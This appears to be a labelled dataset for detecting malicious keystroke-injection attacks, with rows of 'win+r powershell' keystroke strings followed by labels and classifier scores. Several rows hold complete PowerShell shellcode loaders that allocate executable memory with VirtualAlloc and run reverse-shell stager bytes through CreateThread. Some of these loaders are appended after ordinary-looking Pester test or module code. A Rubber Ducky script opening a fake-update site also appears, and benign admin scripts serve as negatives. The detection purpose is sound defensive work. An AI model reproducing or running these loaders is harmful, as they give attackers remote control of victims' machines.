,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1831914e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_upcognub"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4403e-05
"win+r enter powershell enter enter enter Set-StrictMode -Version 2 enter enter function func_get_proc_address { enter Param ($var_module, $var_procedure) enter $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) enter return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) enter } enter enter function func_get_delegate_type { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, enter [Parameter(Position = 1)] [Type] $var_return_type = [Void] enter ) enter enter $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') enter $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') enter enter return $var_type_builder.CreateType() enter } enter enter $var_code=""12088195230244228200000618161828682906845214105821578210482157823282157822821228782109899087824519687824517016979466471611991961161119922219381618215782215796148212021201269224619017019482241269595829490958294909582121182161821891829582157482111091891891891610811669584938493975006190165167961651616196958936161105824519682452108745196874519682828296612689161161161821862268982120212782186240008218919911166190000195225195166000198170189189189111109190917611761001109191117763919191768191769191911110677639191911176919176119191916849191766849191766947191919167791769291694719191916949191769591694719176919176916849191766949191766849191761191919191768191769191911161901651669176979176959582120522122145132918291929132929180688236"" enter $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) enter $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) enter enter $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) enter $var_runme.Invoke([IntPtr]::Zero) enter [decoded_payloads] enter [decoded:long_base64_literal] enter ×m<ó_yÛ}6㍶óm4ÓM:×Íz×ͼëͽӯ8çmx×N|Û^{ómtã͵ç¿6ßo6מüÛo6×m¼ï͵Óß=÷O;ón9×Þ¼ï͸ç^ôׯ{÷Žºã½z×_}×Þµ×­u×ßvÛm}ßÍz×͵ç¿6Û^{÷­xómvÓmvÓ]º÷m¸ë_t×½5÷6ۍvëÞ}çͽãÝ=çͽãÝ=ç͵Û]|Û^µóm|÷_6÷Ÿ6מøómu×OuóÝ|÷_=×­tó]zëÞ|ãÝüãÝýï4ë_t×®uë¿z×®uë^µ÷¯yóÝú×­uӟ6ã}ë͸çmtó¾9×Þ¼ïŽu÷¯6óo6÷®µÛ¯=×­uë]z×͵ó­¶ëÏ|Û]´Û]»óm|ën4ÓO6×Ïu÷Ýu×®µ÷M4Ó_yÛnu÷zëM4×ß5ïM|÷_=×Ïu×]t÷_t÷^ú×^ú×M5×Ou÷]uï¾·÷_u÷^úó_uï¯u÷_u×]të¾úßÝ}×Ýu×¾½×Ý{ë]}×Ý}ׯ8÷_u﮼ãÝ}×¾º÷Žõ÷_u÷^»ïÝ{ëݽׯxï_u÷_uëÞ=×Ý{ëÞ}ׯxï_uï¯u÷^ú÷^¼ãÝ}×¾º÷u÷^úëÎ=×Ý{ë]}×Ý}×Ý{ëÍ}×¾½×Ý}×]z×Ý5ëzëÝ{ëÞý×¾½çÞ|Û]´çmµÛmxç]ö÷_6÷_v÷]ö÷ouóN¼ómú enter enter",1,1,6.478184e-05,0.99993527
"win+r enter powershell enter enter enter function Get-RequiresString enter { enter [CmdletBinding()] enter Param enter ( enter [Parameter()] enter [Object[]] enter $RequiredModules enter ) enter enter Process enter { enter if($RequiredModules) enter { enter $RequiredModuleStrings = @() enter enter foreach($requiredModuleObject in $RequiredModules) enter { enter if($requiredModuleObject.GetType().ToString() -eq 'System.Collections.Hashtable') enter { enter if(($requiredModuleObject.Keys.Count -eq 1) -and enter (Microsoft.PowerShell.Utility\Get-Member -InputObject $requiredModuleObject -Name 'ModuleName')) enter { enter $RequiredModuleStrings += $requiredModuleObject['ModuleName'].ToString() enter } enter else enter { enter $moduleSpec = New-Object Microsoft.PowerShell.Commands.ModuleSpecification -ArgumentList $requiredModuleObject enter if (-not (Microsoft.PowerShell.Utility\Get-Variable -Name moduleSpec -ErrorAction SilentlyContinue)) enter { enter return enter } enter enter $keyvalueStrings = $requiredModuleObject.Keys | Microsoft.PowerShell.Core\ForEach-Object {""$_ = '$( $requiredModuleObject[$_])'""} enter $RequiredModuleStrings += ""@{$($keyvalueStrings -join '; ')}"" enter } enter } enter elseif(($PSVersionTable.PSVersion -eq '3.0.0') -and enter ($requiredModuleObject.GetType().ToString() -eq 'Microsoft.PowerShell.Commands.ModuleSpecification')) enter { enter $optionalString = "" "" enter enter if($requiredModuleObject.Version) enter { enter $optionalString += ""ModuleVersion = '$($requiredModuleObject.Version.ToString())'; "" enter } enter enter if($requiredModuleObject.Guid) enter { enter $optionalString += ""Guid = '$($requiredModuleObject.Guid.ToString())'; "" enter } enter enter if($optionalString.Trim()) enter { enter $moduleSpecString = ""@{ ModuleName = '$($requiredModuleObject.Name.ToString())';$optionalString}"" enter } enter else enter { enter $moduleSpecString = $requiredModuleObject.Name.ToString() enter } enter enter $RequiredModuleStrings += $moduleSpecString enter } enter else enter { enter $RequiredModuleStrings += $requiredModuleObject.ToString() enter } enter } enter enter $hashRequiresStrings = $RequiredModuleStrings | enter Microsoft.PowerShell.Core\ForEach-Object { "" enter enter return $hashRequiresStrings enter } enter else enter { enter return """" enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x05,0xe6,0xea,0x1b,0x68,0x02,0x00,0xb0,0x44,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.172368e-05,0.99994826
"win+r powershell enter $umCZ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $umCZ - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xe5 enter ,0xd9,0x74,0x24,0xf4,0xbb,0x6b,0x86,0x0c,0xc8,0x5a,0x2b,0xc9,0xb1,0x47,0x31,0x5a enter ,0x18,0x03,0x5a,0x18,0x83,0xea,0x97,0x64,0xf9,0x34,0x8f,0xeb,0x02,0xc5,0x4f,0x8c enter ,0x8b,0x20,0x7e,0x8c,0xe8,0x21,0xd0,0x3c,0x7a,0x67,0xdc,0xb7,0x2e,0x9c,0x57,0xb5 enter ,0xe6,0x93,0xd0,0x70,0xd1,0x9a,0xe1,0x29,0x21,0xbc,0x61,0x30,0x76,0x1e,0x58,0xfb enter ,0x8b,0x5f,0x9d,0xe6 enter enter",1,1,5.4380147e-05,0.99994564
"win+r powershell enter param($installPath, $toolsPath, $package, $project) $targetFileName = 'RGieseck enter e.DllExport.targets' $targetFileName = [IO.Path]::Combine($toolsPath, $targetFil enter eName) $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Abs enter olute $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, Publ enter icKeyToken=b03f5f7f11d50a3a'; $msBuildV4 = [System.Reflection.Assembly]::LoadWit enter hPartialName($msBuildV4Name) if(!$msBuildV4) { throw New-Object System.IO.File enter NotFoundException(""Could not load $msBuildV4Name.""); } enter enter",1,1,0.00056937744,0.9994306
"win+r enter powershell enter enter enter <# enter -------------------------------------------- enter This script gets the current date and time, a list of all installed software and their versions, a list of all drivers, and basic system information using the Get-WmiObject cmdlet. It then outputs this information to the CSV file using the Add-Content cmdlet before outputting the file tree and hash list to the same CSV file using the Export-Csv cmdlet. enter enter The system information, installed software, and drivers are output first, followed by the file tree and hash list. The -Append parameter is used with Export-Csv to append the hash list to the end of the CSV file after the system information, installed software, and drivers. enter -------------------------------------------- enter #> enter # Set the path to the root directory of the Windows golden image enter $rootDirectory = ""C:\"" enter enter # Get the current date and time enter $date = Get-Date enter enter # Get a list of all installed software and their versions enter $software = Get-WmiObject -Class Win32_Product | Select-Object Name, Version enter enter # Get a list of all drivers enter $drivers = Get-WmiObject -Class Win32_PnPSignedDriver | Select-Object DeviceName, Manufacturer, DriverVersion, DriverDate enter enter # Get basic system information enter $systemInfo = Get-WmiObject -Class Win32_ComputerSystem | Select-Object Name, Manufacturer, Model, TotalPhysicalMemory enter enter # Get all files and folders in the root directory and its subdirectories enter $files = Get-ChildItem $rootDirectory -Recurse enter enter # Loop through each file and generate its hash value enter $hashList = foreach ($file in $files) { enter $hash = Get-FileHash $file.FullName -Algorithm SHA256 enter [PSCustomObject]@{ enter FilePath = $file.FullName enter Hash = $hash.Hash enter } enter } enter enter # Output the system information, installed software, drivers, file tree, and hash list to a CSV file enter $systemInfo | Select-Object Name, Manufacturer, Model, TotalPhysicalMemory | Add-Content -Path ""C:\KnownGoodHashList.csv"" enter $software | Add-Content -Path ""C:\KnownGoodHashList.csv"" enter $drivers | Add-Content -Path ""C:\KnownGoodHashList.csv"" enter $hashList | Export-Csv -Path ""C:\KnownGoodHashList.csv"" -NoTypeInformation -Append enter enter Write-Host ""Execution completed on $date"" enter enter",1,1,0.00025669445,0.9997433
"win+r enter powershell enter enter enter function Set-ScriptExtent { enter enter [CmdletBinding(PositionalBinding=$false, DefaultParameterSetName='__AllParameterSets')] enter param( enter [Parameter(Position=0, Mandatory)] enter [psobject] enter $Text, enter enter [Parameter(Mandatory, ParameterSetName='AsString')] enter [switch] enter $AsString, enter enter [Parameter(Mandatory, ParameterSetName='AsArray')] enter [switch] enter $AsArray, enter enter [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] enter [System.Management.Automation.Language.IScriptExtent] enter $Extent = (Find-Ast -AtCursor).Extent enter ) enter begin { enter $fileContext = $psEditor.GetEditorContext().CurrentFile enter $extentList = New-Object System.Collections.Generic.List[Microsoft.PowerShell.EditorServices.FullScriptExtent] enter } enter process { enter if ($Extent -isnot [Microsoft.PowerShell.EditorServices.FullScriptExtent]) { enter $Extent = New-Object Microsoft.PowerShell.EditorServices.FullScriptExtent @( enter $fileContext, enter $Extent.StartOffset, enter $Extent.EndOffset) enter } enter $extentList.Add($Extent) enter } enter end { enter switch ($PSCmdlet.ParameterSetName) { enter enter AsString { enter $Text = ""'{0}'"" -f $Text.Replace(""'"", ""''"") enter } enter enter AsArray { enter $newLine = [Environment]::NewLine enter $Text = ""'"" + ($Text.Replace(""'"", ""''"") -split ' enter ? enter ' -join ""',$newLine'"") + ""'"" enter enter if ($Text.Split(""`n"", [StringSplitOptions]::RemoveEmptyEntries).Count -gt 1) { enter $needsIndentFix = $true enter } enter } enter } enter enter foreach ($aExtent in $extentList) { enter $aText = $Text enter enter if ($needsIndentFix) { enter enter $indentOffset = ' ' * ($aExtent.StartColumnNumber - 1) enter $aText = $aText -split ' enter ? enter ' ` enter -join ([Environment]::NewLine + $indentOffset) enter } enter $differenceOffset = $aText.Length - $aExtent.Text.Length enter $scriptText = $fileContext.GetText() enter enter $fileContext.InsertText($aText, $aExtent.BufferRange) enter enter $newText = $scriptText.Remove($aExtent.StartOffset, $aExtent.Text.Length).Insert($aExtent.StartOffset, $aText) enter enter $timeoutLoop = 0 enter while ($fileContext.GetText() -ne $newText) { enter Start-Sleep -Milliseconds 30 enter $timeoutLoop++ enter enter if ($timeoutLoop -gt 20) { enter $PSCmdlet.WriteDebug(('Timed out waiting for change at range {0}, {1}' -f $aExtent.StartOffset, enter $aExtent.EndOffset)) enter break enter } enter } enter enter if ($differenceOffset) { enter $extentList.ForEach({ enter if ($args[0].StartOffset -ge $aExtent.EndOffset) { enter $args[0].AddOffset($differenceOffset) enter } enter }) enter } enter } enter } enter } enter enter",0,1,0.064698115,0.93530196
"win+r enter powershell enter enter enter function Test-E2ECredentials enter { enter $resourceGroupName = ""to-delete-01"" enter $automationAccountName = ""fbs-aa-01"" enter $output = Get-AzAutomationAccount -ResourceGroupName $resourceGroupName -AutomationAccountName $automationAccountName -ErrorAction SilentlyContinue enter $User = ""Contoso\Test"" enter $Password = ConvertTo-SecureString �12345� -AsPlainText -Force enter $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $Password enter enter $credentialCreated = New-AzAutomationCredential -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name ""ContosoCredential2"" ` enter -Value $Credential ` enter -Description ""Hello"" enter enter $getCredential = Get-AzAutomationCredential -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name ""ContosoCredential2"" enter enter Assert-AreEqual ContosoCredential2 $getCredential.Name enter Assert-AreEqual $variableValue $getVariable.Value enter enter Set-AzAutomationCredential -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name ""ContosoCredential2"" ` enter -Description ""Goodbye"" ` enter -Value $Credential enter enter $getCredential = Get-AzAutomationCredential -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name ""ContosoCredential2"" enter enter Assert-AreEqual ""Goodbye"" $getCredential.Description enter enter Remove-AzAutomationCredential -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name ""ContosoCredential2"" enter enter $output = Get-AzAutomationCredential -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name ""ContosoCredential2"" -ErrorAction SilentlyContinue enter enter Assert-True {$output -eq $null} enter } enter enter",0,0,0.99995315,4.6787987e-05
"win+r enter powershell enter enter enter class BaseLogger { enter enter [Logger]$Logger enter enter BaseLogger() {} enter enter BaseLogger([string]$LogDirectory, [LogLevel]$LogLevel, [int]$MaxLogSizeMB, [int]$MaxLogsToKeep) { enter $this.Logger = [Logger]::new($LogDirectory, $LogLevel, $MaxLogSizeMB, $MaxLogsToKeep) enter } enter enter [void]LogInfo([string]$Message) { enter $logMessage = [LogMessage]::new($Message) enter $logMessage.LogLevel = [LogLevel]::Info enter $this.Log($logMessage) enter } enter enter [void]LogInfo([string]$Message, [object]$Data) { enter $logMessage = [LogMessage]::new($Message, $Data) enter $logMessage.LogLevel = [LogLevel]::Info enter $this.Log($logMessage) enter } enter enter [void]LogInfo([LogSeverity]$Severity, [string]$Message) { enter $logMessage = [LogMessage]::new($Severity, $Message) enter $logMessage.LogLevel = [LogLevel]::Info enter $this.Log($logMessage) enter } enter enter [void]LogInfo([LogSeverity]$Severity, [string]$Message, [object]$Data) { enter $logMessage = [LogMessage]::new($Severity, $Message, $Data) enter $logMessage.LogLevel = [LogLevel]::Info enter $this.Log($logMessage) enter } enter enter [void]LogVerbose([string]$Message) { enter $logMessage = [LogMessage]::new($Message) enter $logMessage.LogLevel = [LogLevel]::Verbose enter $this.Log($logMessage) enter } enter enter [void]LogVerbose([string]$Message, [object]$Data) { enter $logMessage = [LogMessage]::new($Message, $Data) enter $logMessage.LogLevel = [LogLevel]::Verbose enter $this.Log($logMessage) enter } enter enter [void]LogVerbose([LogSeverity]$Severity, [string]$Message) { enter $logMessage = [LogMessage]::new($Severity, $Message) enter $logMessage.LogLevel = [LogLevel]::Verbose enter $this.Log($logMessage) enter } enter enter [void]LogVerbose([LogSeverity]$Severity, [string]$Message, [object]$Data) { enter $logMessage = [LogMessage]::new($Severity, $Message, $Data) enter $logMessage.LogLevel = [LogLevel]::Verbose enter $this.Log($logMessage) enter } enter enter [void]LogDebug([string]$Message) { enter $logMessage = [LogMessage]::new($Message) enter $logMessage.LogLevel = [LogLevel]::Debug enter $this.Log($logMessage) enter } enter enter [void]LogDebug([string]$Message, [object]$Data) { enter $logMessage = [LogMessage]::new($Message, $Data) enter $logMessage.LogLevel = [LogLevel]::Debug enter $this.Log($logMessage) enter } enter enter [void]LogDebug([LogSeverity]$Severity, [string]$Message) { enter $logMessage = [LogMessage]::new($Severity, $Message) enter $logMessage.LogLevel = [LogLevel]::Debug enter $this.Log($logMessage) enter } enter enter [void]LogDebug([LogSeverity]$Severity, [string]$Message, [object]$Data) { enter $logMessage = [LogMessage]::new($Severity, $Message, $Data) enter $logMessage.LogLevel = [LogLevel]::Debug enter $this.Log($logMessage) enter } enter hidden [void]Log([LogMessage]$Message) { enter $Message.Class = $this.GetType().Name enter $Message.Method = @(Get-PSCallStack)[2].FunctionName enter $this.Logger.Log($Message) enter } enter enter hidden [void]Log([LogMessage]$Message, [string]$LogFile, [int]$MaxLogSizeMB, [int]$MaxLogsToKeep) { enter $Message.Class = $this.GetType().Name enter $Message.Method = @(Get-PSCallStack)[2].FunctionName enter $this.Logger.Log($Message, $LogFile, $MaxLogSizeMB, $MaxLogsToKeep) enter } enter } enter enter",0,0,0.9752601,0.024739893
"win+r powershell enter function Get-SCSMWorkItemAssignedUser { [CmdletBinding(DefaultParameterSetNam enter e = 'GUID')] param ( [Parameter(ParameterSetName = 'SMObject', Mandatory = $ enter true, ValueFromPipeline = $true)] $SMObject, [Parameter(ParameterSetName = ' enter GUID', enter",1,1,0.0043126764,0.9956873
"win+r powershell enter function Get-Role { [PoshBot.BotCommand( Aliases = ('gr', 'getrole'), Permi enter ssions = 'view-role' )] [cmdletbinding()] param( [parameter(Mandatory)] $Bo enter t, [parameter(Position = 0)] enter enter",1,1,0.0016818542,0.9983182
"win+r enter powershell enter enter enter Describe ""DSC MOF Compilation"" -tags ""CI"" { enter BeforeAll { enter $module = Get-Module PowerShellGet -ListAvailable | Sort-Object -Property Version -Descending | Select-Object -First 1 enter enter $psGetModuleVersion = $module.Version.ToString() enter if (!$env:DSC_HOME) enter { enter Import-Module PSDesiredStateConfiguration enter } enter } enter enter It ""Should be able to compile a MOF using PSModule resource"" { enter if ($IsLinux) { enter Set-ItResult -Pending -Because ""https://github.com/PowerShell/PowerShellGet/pull/529"" enter } enter enter Write-Verbose ""DSC_HOME: ${env:DSC_HOME}"" -verbose enter [Scriptblock]::Create(@"" enter configuration DSCTestConfig enter { enter Import-DscResource -ModuleName PowerShellGet -ModuleVersion $psGetModuleVersion enter Node ""localhost"" { enter PSModule f1 enter { enter Name = 'PsDscResources' enter InstallationPolicy = 'Trusted' enter } enter } enter } enter enter DSCTestConfig -OutputPath TestDrive:\DscTestConfig2 enter ""@) | Should -Not -Throw enter enter ""TestDrive:\DscTestConfig2\localhost.mof"" | Should -Exist enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xdb,0x86,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1175357e-05,0.99994886
win+r powershell enter  function Test-ListPriceSheets { $priceSheets = Get-AzConsumptionPriceSheet - enter Top 5 Assert-NotNull $priceSheets Assert-NotNull $priceSheets.Id Assert-NotNu enter ll $priceSheets.Name Assert-NotNull $priceSheets.Type $priceSheetProperties enter = $priceSheets.PriceSheets Assert-NotNull $priceSheetProperties enter enter,1,1,0.0066492963,0.9933507
"win+r enter powershell enter enter enter function Set-CTrustedHost enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string[]] enter enter [Alias(""Entries"")] enter $Entry enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $value = $Entry -join ',' enter if( $pscmdlet.ShouldProcess( 'trusted hosts', 'set' ) ) enter { enter Set-Item $TrustedHostsPath -Value $Value -Force enter } enter } enter enter Set-Alias -Name 'Set-TrustedHosts' -Value 'Set-CTrustedHost' enter enter",0,0,0.999936,6.4045955e-05
DUCKY_REAL_BEGIN enter REM Author: Narsty enter REM Description: Open Fake update on an iPhone. enter REM Version: 1.0 enter REM Category: iPhone enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter GUI SPACE enter DELAY 500 enter STRING safari enter DELAY 2000 enter ENTER enter DELAY 500 enter GUI-CTRL f enter DELAY 500 enter STRING www.fakeupdate.net enter DELAY 500 enter ENTER enter DUCKY_REAL_END,1,1,6.1010305e-05,0.99993896
